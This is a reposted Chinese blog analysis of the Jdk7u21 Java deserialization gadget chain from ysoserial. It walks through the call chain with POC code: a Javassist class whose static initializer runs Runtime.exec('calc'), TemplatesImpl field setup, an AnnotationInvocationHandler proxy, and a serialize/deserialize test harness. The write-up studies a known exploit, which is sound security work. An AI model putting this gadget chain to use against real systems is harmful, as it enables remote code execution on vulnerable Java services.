Java安全之Jdk7u21链分析

Java安全之Jdk7u21链分析文章首发:Java安全之Jdk7u21链分析0x00前言其实该链是想拿到后面再去做分析的,但是学习到Fastjson这个漏洞,又不得不使用到该链。那么在这里就

大家好,又见面了,我是全栈君,祝每个程序员都可以多学几门语言。

Java安全之Jdk7u21链分析

文章首发:Java安全之Jdk7u21链分析

0x00 前言

其实该链是想拿到后面再去做分析的,但是学习到Fastjson这个漏洞,又不得不使用到该链。那么在这里就来做一个简单的分析。

在前面分析的利用链中,其实大致都差不多都是基于InvokerTransformerTemplatesImpl这两个类去进行执行命令,而其他的一些利用链也是基于这两个去进行一个变型。从而产生了新的利用链。而在这个Jdk7u21链中也是基于TemplatesImpl去实现的。

0x01 Jdk7u21链构造分析

先来看一下该利用链的在yso里面给出调用链

LinkedHashSet.readObject()
  LinkedHashSet.add()
    ...
      TemplatesImpl.hashCode() (X)
  LinkedHashSet.add()
    ...
      Proxy(Templates).hashCode() (X)
        AnnotationInvocationHandler.invoke() (X)
          AnnotationInvocationHandler.hashCodeImpl() (X)
            String.hashCode() (0)
            AnnotationInvocationHandler.memberValueHashCode() (X)
              TemplatesImpl.hashCode() (X)
      Proxy(Templates).equals()
        AnnotationInvocationHandler.invoke()
          AnnotationInvocationHandler.equalsImpl()
            Method.invoke()
              ...
                TemplatesImpl.getOutputProperties()
                  TemplatesImpl.newTransformer()
                    TemplatesImpl.getTransletInstance()
                      TemplatesImpl.defineTransletClasses()
                        ClassLoader.defineClass()
                        Class.newInstance()
                          ...
                            MaliciousClass.<clinit>()
                              ...
                                Runtime.exec()

从这里其实可以看到JDK 7u21的这条链相对来说,比前面的链需要的知识量要大一些,分析得也会比较绕。但是其实到了TemplatesImpl.getOutputProperties这一步其实也是和前面的相同。

本篇文就直接使用yos里面的POC来展开话题。

public Object getObject(final String command) throws Exception {
		final Object templates = Gadgets.createTemplatesImpl(command);

		String zeroHashCodeStr = "f5a5a608";

		HashMap map = new HashMap();
		map.put(zeroHashCodeStr, "foo");

		InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
		Reflections.setFieldValue(tempHandler, "type", Templates.class);
		Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);

		LinkedHashSet set = new LinkedHashSet(); // maintain order
		set.add(templates);
		set.add(proxy);

		Reflections.setFieldValue(templates, "_auxClasses", null);
		Reflections.setFieldValue(templates, "_class", null);

		map.put(zeroHashCodeStr, templates); // swap in real object

		return set;
	}

因为是第一次写这个yos里面POC的分析文章,所以会写得详细一些。就先从第一行代码看起。

final Object templates = Gadgets.createTemplatesImpl(command);

这里是调用了Gadgets.createTemplatesImpl这个静态方法,并且传入执行的命令进去。来跟进一下该方法,查看该方法的实现。

Java安全之Jdk7u21链分析

这里是返回了他的重载的方法,并且把传入了命令与TemplatesImplAbstractTransletTransformerFactoryImpl这三个对象。来到他的重载方法中。

Java安全之Jdk7u21链分析

在重载方法中对传入的TemplatesImpl使用反射创建一个实例化对象。再来看下面的一段代码。

Java安全之Jdk7u21链分析

这里看到其实和前面CC2链的构造是一样的。使用Javassist动态创建一个类,并将其中的静态代码块设置为Runtime执行命令的一段代码,然后将其转换成字节码。可以看到和前面不一样的其实就是这里是使用了insertAfter,而前面的链中使用的是setBody去在静态代码块中插入恶意代码。但是效果其实都是一样的。可自行尝试。

对应的POC代码:

 ClassPool classPool=ClassPool.getDefault();//返回默认的类池
        classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
        CtClass payload=classPool.makeClass("CommonsCollections22222222222");//创建一个新的public类
        payload.setSuperclass(classPool.get(AbstractTranslet));  //设置前面创建的CommonsCollections22222222222类的父类为AbstractTranslet
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");

再来看下一段代码。

Java安全之Jdk7u21链分析

Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
            classBytes, ClassFiles.classAsBytes(Foo.class)
        });

        // required to make TemplatesImpl happy
        Reflections.setFieldValue(templates, "_name", "Pwnr");
        Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());

这个其实有了前面分析了简易化后的利用链POC的基础后,其实很容易懂,这里其实就是使用了Reflections.setFieldValuetemplates里面的_bytecodes设置为前面动态创建的类的字节码。

下面的_name设置为Pwnr字符,而_tfactory设置为TransformerFactoryImpl由反射创建的实例化对象。

Reflections.setFieldValue的底层代码也是由反射去实现的。

对应代码如下:

Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
field.setAccessible(true);//暴力反射
field.set(templatesImpl,new byte[][]{bytes});

和上面这段代码效果相同,后面设置_name_tfactory也是一样的方式,以此类推。

_name

先来看看这个_name为什么要设置该值。在前面也分析过该变量设置值的原因,这里再来叙述一遍。

Java安全之Jdk7u21链分析

在执行到templatesImplgetTransletInstance方法的时候会先去判断name的值如果为空,就会直接返回null,不做下面的执行

_bytecodes

这个_bytecodes前面也分析过。

Java安全之Jdk7u21链分析

来看到圈出来的这一段代码,如果_class为空,就会调用this.defineTransletClasses();方法。

跟进一下。

Java安全之Jdk7u21链分析

在圈出来的这一步就会去调用loader.defineClass方法然后传入_bytecodes,前面是使用了反射将恶意类的字节码赋值给_bytecodesloader.defineClass这个方法进行一下跟进。

Java安全之Jdk7u21链分析

实际中他的底层是调用了defineClass类加载器。关于defineClass类加载器可以将一个字节码进行动态加载。

具体可以看我的Java安全之 ClassLoader类加载器这篇文章。插个题外话,类加载器的调用无非两种方法,要么就是反射去调用,要么就直接继承该类进行重写。

回到刚刚的地方

Java安全之Jdk7u21链分析

_class赋值完成后,会在该地方调用newInstance进行实例化。而恶意的类的静态代码块中写入的恶意代码就会进行执行。

_tfactory

看一个大佬的文章说是 在defineTransletClasses()时会调用getExternalExtensionsMap(),当为null时会报错,所以要对_tfactory 设值。但是我在查询的时候并未看到getExternalExtensionsMap方法,而且在yso里面将设置_tfactory 值的代码给注释了一样能正常执行命令。

Java安全之Jdk7u21链分析

在我的物理机 8u181的版本中也没有发现。

Java安全之Jdk7u21链分析

后来看到大佬的文章中有该方法

Java安全之Jdk7u21链分析

根据大佬的解释是可以看到jdk1.8多了个_tfactory.getExternalExtensionsMap()的处理。我们在jdk1.8的环境下跟踪下程序,发现到这里_tfactory的值为null,所以执行_tfactory.getExternalExtensionsMap()函数时会出错,导致程序异常,不能加载_bytecodes的中的类。

下面再回到刚刚的点,来看下一段POC代码

Java安全之Jdk7u21链分析

InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);

查看一下Reflections.getFirstCtor方法,内部就是使用反射创建一个无参构造的对象

Java安全之Jdk7u21链分析

传入的是Gadgets.ANN_INV_HANDLER_CLASS查看一下该静态方法。

Java安全之Jdk7u21链分析

该方法返回的是AnnotationInvocationHandler字符。也就是创建了一个AnnotationInvocationHandler的对象,并且调用newInstance实例化该对象,传入Override.class, map。前面说过AnnotationInvocationHandler这个类是用来处理注解的,前面的参数需要传入一个注解的参数,后面的需要传入一个map类型参数

简单来说就是使用反射创建了一个AnnotationInvocationHandler的实例。

Reflections.setFieldValue(tempHandler, "type", Templates.class);

这一段代码其实没啥好说的,就是把tempHandler里面的type的变量改成Templates.class

Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);

再来看到下一段代码,跟进一下Gadgets.createProxy方法。

Java安全之Jdk7u21链分析

这里面实际上就是使用了 Templates去做动态代理。

对应POC代码:

Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);

        InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap);
        Templates templates=(Templates)Proxy.newProxyInstance(Templates.class.getClassLoader(),Templates.class.getInterfaces(),invocationHandler);
        Object object=constructor.newInstance(Override.class,templates);

接下来就还剩最后一段代码

LinkedHashSet set = new LinkedHashSet(); // maintain order
		set.add(templates);
		set.add(proxy);

		Reflections.setFieldValue(templates, "_auxClasses", null);
		Reflections.setFieldValue(templates, "_class", null);

		map.put(zeroHashCodeStr, templates); // swap in real object

在下面的代码就很好解释了,实例化一个LinkedHashSet对象将templatesproxy添加进去。

后面的就是将templates_class_auxClasses设置为空,前面的分析中提到过,在templatesImpl中的_class必须为空才会去执行getTransletInstance方法。

POC的代码其实也就这么多,因为yso将一些代码做了一个很好的封装,显得代码量也是比较少,但是如果第一次分析利用链就看yso的代码,会比较乱。POC具体为何这么构造会在调试分析中做一个详细的讲解。

0x02 Jdk7u21链调试分析

在该工具里面写一个测试类去获取一下,payload。

   public static void main(String[] args) throws Exception {
        Object calc = new Jdk7u21().getObject("calc");
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("test.out"));
        oos.writeObject(calc);

        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("test.out"));

        Object o = ois.readObject();
    }

Java安全之Jdk7u21链分析

命令执行成功,接下来来分析一下该利用链调用。

这里使用的是LinkedHashSet.readObject去作为反序列化的入口点,但是LinkedHashSet并没有去实现readObject方法,但是该类继承了HashSet类,所以这里调用的是HashSetreadObject方法。在该方法打一个断点。

Java安全之Jdk7u21链分析

该方法在此处调用了,map.put方法,根据一下该方法。

Java安全之Jdk7u21链分析

在这里可以看到调用的是HashMap的put方法,这是为什么呢?查询一下HashSet中的Map成员变量

Java安全之Jdk7u21链分析

定义成员变量的时候,该map变量其实就是一个HashMap类的属性。

回到刚才的地方

Java安全之Jdk7u21链分析

看到这里执行完后,会跨过for 的代码块,执行下面的代码。因为table值是空的,这里就没法进行遍历。

Java安全之Jdk7u21链分析

而后面会使用addEntry,将这几个值添加进入,hash的值为hash方法处理TemplatesImpl的值,也就是计算了

TemplatesImpl的hash值。key为TemplatesImpl的实例对象,value则是一个空的Object对象,i参数为indexFor方法处理hash后的结果。

Java安全之Jdk7u21链分析

Java安全之Jdk7u21链分析

回到这次执行完成,会返回到HashSet的这次循环。

Java安全之Jdk7u21链分析

再第二次循环的时候,就会进入到该for循环里面

Java安全之Jdk7u21链分析

Java安全之Jdk7u21链分析

关键点其实就在这个key.equals前面说过这个key为TemplatesImpl的实例,前面做了一个动态代理,这里调用他的equals就会触发到AnnotationInvocationHandler invoke方法。

Java安全之Jdk7u21链分析

这个地方还会去调用equalsImpl方法,跟进一下该方法。

Java安全之Jdk7u21链分析

var8 = var5.invoke(var1); 语句,这里是通过反射调用 var1 对象的 var5 方法。跟踪一下getMemberMethods方法就知道。

Java安全之Jdk7u21链分析

在这里的this.typetemplates对象,使用getDeclaredMethods反射获取方法。

Java安全之Jdk7u21链分析

在这里可以看到获取到2个方法。在后面还可以看到一个for循环,然后会遍历var2的值。然后下面使用var8 = var5.invoke(var1);

反射去调用,这里传入的var是TemplatesImpl的实例对象。

这时候就会去调用getOutputProperties方法,其实到这步已经是很清晰了。因为后面的调用步骤和前面使用TemplatesImpl构造恶意类的调用时一样的。

Java安全之Jdk7u21链分析

getOutputProperties方法会去调用newTransformer方法,newTransformer又会去调用getTransletInstance方法,

Java安全之Jdk7u21链分析

Java安全之Jdk7u21链分析

到了后面的就不需要多说了,这里也只是简单描述一下。

参考文章

https://b1ue.cn/archives/176.html
https://xz.aliyun.com/t/6884
https://xz.aliyun.com/t/7236#toc-6

0x03 结尾

其实在该链中还有一些细节点没去做分析,该链的难点我觉得在于比较绕。这也是为什么后面才去分析这条链的原因,不得不说的一个点是能够完整分析这个链的一些细节点都是大佬,需要有较为深厚的代码功底。

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/119902.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)
blank

相关推荐

  • Vue(renren-fast_vue_master)项目目录结构[通俗易懂]

    Vue(renren-fast_vue_master)项目目录结构[通俗易懂]打算做一个请假管理OA项目Demo,后端采用renren-fast框架,后台管理系统采用renren-fast_vue_master项目,打算利用renren-fast-vue-master改造成一个简单的请假管理系统,包含注册、登陆、请假流程查看等等简单的展示即可,由于之前没做过Vue,现简单地介绍下项目目录结构:├──build/#Webpack配…

    2022年10月28日
  • PLSQL Developer新手使用教程(图文教程)(转载)[通俗易懂]

    PLSQL Developer新手使用教程(图文教程)(转载)[通俗易懂]原文:https://www.cnblogs.com/wangfuyou/p/5915246.html PLSQLDeveloper是Oracle数据库开发工具,很牛也很好用,PLSQLDeveloper功能很强大,可以做为集成调试器,有SQL窗口,命令窗口,对象浏览器和性能优化等功能,下面简单的介绍一下如何使用PLSQLDeveloper工具,新手教程。1.基本操作1)首先确保…

  • Java面向对象三大特性(封装、继承、多态)

    Java面向对象三大特性(封装、继承、多态)文章目录前言一、封装1.封装的概念2.private实现封装3.getter和setter方法4.封装的好处二、继承1.extends实现继承2.super关键字三,多态总结前言OOP语言:也就是面向对象编程。面向对象的语言有三大特性:封装、继承、多态。三大特性是面向对象编程的核心。下面就来介绍一下面向对象的三大特性。如果想了解面向对象可以看一下这一篇博客类和对象一、封装1.封装的概念在我们写代码的时候经常会涉及两种角色:类的实现者和类的调用者封装的本质就是让类的调用者不必太多的.

  • ssh 命令连接

    ssh 命令连接Linuxssh命令详解SSH(远程连接工具)连接原理:ssh服务是一个守护进程(demon),系统后台监听客户端的连接,ssh服务端的进程名为sshd,负责实时监听客户端的请求(IP22端口),包括公共秘钥等交换等信息。ssh服务端由2部分组成:openssh(提供ssh服务)openssl(提供加密的程序)ssh的客户端可以用XSHELL,Securecrt,Moba…

  • \t\t让世界最小linux系统—-ttylinux成为一个小型http服务器[通俗易懂]

    \t\t让世界最小linux系统—-ttylinux成为一个小型http服务器[通俗易懂]我们首先要让ttylinux的网络功能可用:第1步:启动虚拟机;以用户名:root和密码:root登录到ttylinux;编辑网络接口配置文件启动虚拟机的网卡;指令如下:  cd/etc/network.d  //进入网卡配置文件目录  cpsampleinterface.eth0  //把例子文件拷贝为eth0接口的配置文件  viinterface.eth0  //编辑eth0配置文

  • Typora的最后一个免费版本MD编辑器「建议收藏」

    Typora的最后一个免费版本MD编辑器「建议收藏」title:Typora的最后一个免费版本date:2022-05-1116:39:04tags:MDcategories:软件废话不多说,直接来我的仓库下载就可以了。利用Typora把图片添加到Hexo博客中安装插件。$npminstallhexo-renderer-marked–save2.再修改一下配置文件_config.yml,加入下面的配置。marked:prependRoot:truepostAsset:true3.在“Blog->s

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号